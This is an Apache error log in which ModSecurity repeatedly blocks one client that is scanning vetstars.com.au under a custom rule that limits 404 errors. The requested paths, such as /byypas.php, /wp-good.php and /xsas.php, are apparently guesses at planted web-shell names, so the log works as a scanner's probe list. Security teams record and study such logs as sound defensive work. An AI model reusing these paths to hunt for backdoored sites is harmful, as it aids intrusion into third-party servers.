[Thu Apr 16 19:17:51.096478 2026] [:error] [pid 49094:tid 49113] [client 172.213.0.122:6021] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "aeDFXzbDwvcXorHR_MyVpgAAAVE"]
[Thu Apr 16 19:17:54.793064 2026] [:error] [pid 49094:tid 49098] [client 172.213.0.122:6041] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "aeDFYjbDwvcXorHR_MyVrAAAAUI"]
[Thu Apr 16 19:17:57.531338 2026] [:error] [pid 57537:tid 57584] [client 172.213.0.122:29173] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeDFZVVQRS8nm73ENAmitAAAAEk"]
[Thu Apr 16 19:17:58.587183 2026] [:error] [pid 49094:tid 49102] [client 172.213.0.122:29153] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeDFZjbDwvcXorHR_MyVtQAAAUY"]
[Thu Apr 16 19:18:53.476298 2026] [:error] [pid 57639:tid 57667] [client 172.213.0.122:29162] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeDFnaMCQoTw7TsxWulEFQAAANU"]
[Thu Apr 16 19:18:54.056629 2026] [:error] [pid 57639:tid 57658] [client 172.213.0.122:29168] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeDFnqMCQoTw7TsxWulEFwAAAMw"]
[Thu Apr 16 19:18:55.150558 2026] [:error] [pid 29603:tid 29621] [client 172.213.0.122:29136] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeDFn1fGOR6fpTWUAzp1ewAAARA"]
[Thu Apr 16 19:18:56.352919 2026] [:error] [pid 29603:tid 29614] [client 172.213.0.122:6099] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeDFoFfGOR6fpTWUAzp1iQAAAQk"]
[Thu Apr 16 19:18:57.182293 2026] [:error] [pid 57538:tid 57603] [client 172.213.0.122:5980] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aeDFocuMaiEF5SVR2BfE1QAAAIE"]
[Thu Apr 16 19:18:58.475502 2026] [:error] [pid 57639:tid 57661] [client 172.213.0.122:29157] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aeDFoqMCQoTw7TsxWulEKwAAAM8"]
[Thu Apr 16 19:18:59.272269 2026] [:error] [pid 57536:tid 57561] [client 172.213.0.122:29159] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aeDFoyQU4faGja6jpDtICgAAAA0"]
[Thu Apr 16 19:18:59.927952 2026] [:error] [pid 57639:tid 57656] [client 172.213.0.122:6097] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aeDFo6MCQoTw7TsxWulEOQAAAMo"]
[Thu Apr 16 19:19:00.660485 2026] [:error] [pid 29603:tid 29615] [client 172.213.0.122:6083] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "aeDFpFfGOR6fpTWUAzp1nwAAAQo"]
[Thu Apr 16 19:19:01.204653 2026] [:error] [pid 57538:tid 57603] [client 172.213.0.122:6095] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "aeDFpcuMaiEF5SVR2BfE3wAAAIE"]
[Thu Apr 16 19:19:01.802513 2026] [:error] [pid 49094:tid 49103] [client 172.213.0.122:29127] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "aeDFpTbDwvcXorHR_MyWZgAAAUc"]
[Thu Apr 16 19:19:02.544600 2026] [:error] [pid 57639:tid 57656] [client 172.213.0.122:6017] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "aeDFpqMCQoTw7TsxWulESQAAAMo"]
[Thu Apr 16 19:19:03.469939 2026] [:error] [pid 57639:tid 57652] [client 172.213.0.122:29160] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aeDFp6MCQoTw7TsxWulETAAAAMY"]
[Thu Apr 16 19:19:04.208787 2026] [:error] [pid 29603:tid 29628] [client 172.213.0.122:6091] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aeDFqFfGOR6fpTWUAzp1oQAAARc"]
[Thu Apr 16 19:19:04.864060 2026] [:error] [pid 49094:tid 49116] [client 172.213.0.122:6113] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aeDFqDbDwvcXorHR_MyWbQAAAVQ"]
[Thu Apr 16 19:19:05.451335 2026] [:error] [pid 49094:tid 49115] [client 172.213.0.122:6101] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aeDFqTbDwvcXorHR_MyWbwAAAVM"]
[Thu Apr 16 19:19:06.714119 2026] [:error] [pid 57639:tid 57664] [client 172.213.0.122:6061] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeDFqqMCQoTw7TsxWulEVgAAANI"]
[Thu Apr 16 19:19:07.977973 2026] [:error] [pid 57639:tid 57646] [client 172.213.0.122:6109] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeDFq6MCQoTw7TsxWulEWQAAAMA"]
[Thu Apr 16 19:19:08.659955 2026] [:error] [pid 49094:tid 49109] [client 172.213.0.122:6029] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeDFrDbDwvcXorHR_MyWfwAAAU0"]
[Thu Apr 16 19:19:09.696834 2026] [:error] [pid 57639:tid 57656] [client 172.213.0.122:5972] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeDFraMCQoTw7TsxWulEYgAAAMo"]
[Thu Apr 16 19:19:10.848722 2026] [:error] [pid 57639:tid 57666] [client 172.213.0.122:29156] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeDFrqMCQoTw7TsxWulEagAAANQ"]
[Thu Apr 16 19:19:11.939188 2026] [:error] [pid 7880:tid 7888] [client 172.213.0.122:29172] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeDFr6aezm4fSGc0yUJ_1QAAAYM"]
[Thu Apr 16 19:19:12.763994 2026] [:error] [pid 57536:tid 57561] [client 172.213.0.122:29163] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeDFsCQU4faGja6jpDtIOQAAAA0"]
[Thu Apr 16 19:19:13.750043 2026] [:error] [pid 49094:tid 49097] [client 172.213.0.122:6137] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeDFsTbDwvcXorHR_MyWjAAAAUE"]
[Thu Apr 16 19:19:14.869398 2026] [:error] [pid 57639:tid 57652] [client 172.213.0.122:5984] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aeDFsqMCQoTw7TsxWulEegAAAMY"]
[Thu Apr 16 19:19:15.614028 2026] [:error] [pid 49094:tid 49099] [client 172.213.0.122:5906] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aeDFszbDwvcXorHR_MyWlQAAAUM"]
[Thu Apr 16 19:19:16.211427 2026] [:error] [pid 57639:tid 57652] [client 172.213.0.122:6095] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aeDFtKMCQoTw7TsxWulEhwAAAMY"]
[Thu Apr 16 19:19:17.032953 2026] [:error] [pid 57639:tid 57657] [client 172.213.0.122:29132] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aeDFtaMCQoTw7TsxWulEiAAAAMs"]
[Thu Apr 16 19:19:18.116510 2026] [:error] [pid 57639:tid 57649] [client 172.213.0.122:6124] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aeDFtqMCQoTw7TsxWulEjgAAAMM"]
[Thu Apr 16 19:19:19.354027 2026] [:error] [pid 57639:tid 57657] [client 172.213.0.122:6116] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aeDFt6MCQoTw7TsxWulEkwAAAMs"]
[Thu Apr 16 19:19:21.662449 2026] [:error] [pid 57639:tid 57663] [client 172.213.0.122:6126] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aeDFuaMCQoTw7TsxWulEqQAAANE"]
[Thu Apr 16 19:19:24.756446 2026] [:error] [pid 49094:tid 49111] [client 172.213.0.122:6103] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aeDFvDbDwvcXorHR_MyWsAAAAU8"]
[Thu Apr 16 19:19:25.563024 2026] [:error] [pid 29603:tid 29605] [client 172.213.0.122:6050] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "aeDFvVfGOR6fpTWUAzp1rgAAAQA"]
[Thu Apr 16 19:19:26.548465 2026] [:error] [pid 7880:tid 7905] [client 172.213.0.122:29164] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "aeDFvqaezm4fSGc0yUJ_6AAAAZQ"]
[Thu Apr 16 19:19:27.366922 2026] [:error] [pid 49094:tid 49116] [client 172.213.0.122:29154] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "aeDFvzbDwvcXorHR_MyWvQAAAVQ"]
[Thu Apr 16 19:19:28.512346 2026] [:error] [pid 49094:tid 49118] [client 172.213.0.122:6121] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "aeDFwDbDwvcXorHR_MyWwQAAAVY"]
[Thu Apr 16 19:19:29.249040 2026] [:error] [pid 57536:tid 57563] [client 172.213.0.122:6079] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "aeDFwSQU4faGja6jpDtITQAAAA8"]
[Thu Apr 16 19:19:29.968328 2026] [:error] [pid 29603:tid 29611] [client 172.213.0.122:6040] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "aeDFwVfGOR6fpTWUAzp1vwAAAQY"]
[Thu Apr 16 19:19:30.848345 2026] [:error] [pid 29603:tid 29614] [client 172.213.0.122:6056] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "aeDFwlfGOR6fpTWUAzp1wwAAAQk"]
[Thu Apr 16 19:19:31.819503 2026] [:error] [pid 57536:tid 57559] [client 172.213.0.122:29141] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "aeDFwyQU4faGja6jpDtIUAAAAAs"]
[Thu Apr 16 19:19:33.387049 2026] [:error] [pid 49094:tid 49119] [client 172.213.0.122:29129] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeDFxTbDwvcXorHR_MyWzQAAAVc"]
[Thu Apr 16 19:19:34.078994 2026] [:error] [pid 57536:tid 57565] [client 172.213.0.122:6047] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeDFxiQU4faGja6jpDtIVwAAABE"]
[Thu Apr 16 19:19:34.936881 2026] [:error] [pid 49094:tid 49103] [client 172.213.0.122:6068] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeDFxjbDwvcXorHR_MyW1AAAAUc"]
[Thu Apr 16 19:19:35.460742 2026] [:error] [pid 57536:tid 57550] [client 172.213.0.122:6096] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeDFxyQU4faGja6jpDtIWwAAAAI"]
[Thu Apr 16 19:19:36.284348 2026] [:error] [pid 49094:tid 49109] [client 172.213.0.122:6098] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeDFyDbDwvcXorHR_MyW3gAAAU0"]
[Thu Apr 16 19:19:37.050092 2026] [:error] [pid 49094:tid 49102] [client 172.213.0.122:29179] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeDFyTbDwvcXorHR_MyW5QAAAUY"]
[Thu Apr 16 19:19:37.952313 2026] [:error] [pid 57639:tid 57670] [client 172.213.0.122:5930] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeDFyaMCQoTw7TsxWulE0wAAANg"]
[Thu Apr 16 19:19:41.014777 2026] [:error] [pid 57536:tid 57562] [client 172.213.0.122:29147] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeDFzSQU4faGja6jpDtIZAAAAA4"]
[Thu Apr 16 19:19:42.218130 2026] [:error] [pid 57536:tid 57565] [client 172.213.0.122:6123] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "aeDFziQU4faGja6jpDtIaAAAABE"]
[Thu Apr 16 19:19:43.252190 2026] [:error] [pid 49094:tid 49103] [client 172.213.0.122:6080] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "aeDFzzbDwvcXorHR_MyW_wAAAUc"]
[Thu Apr 16 19:19:44.536613 2026] [:error] [pid 57639:tid 57664] [client 172.213.0.122:6004] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "aeDF0KMCQoTw7TsxWulE6QAAANI"]
[Thu Apr 16 19:19:47.390612 2026] [:error] [pid 57537:tid 57586] [client 172.213.0.122:6082] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "aeDF01VQRS8nm73ENAmjBgAAAEs"]
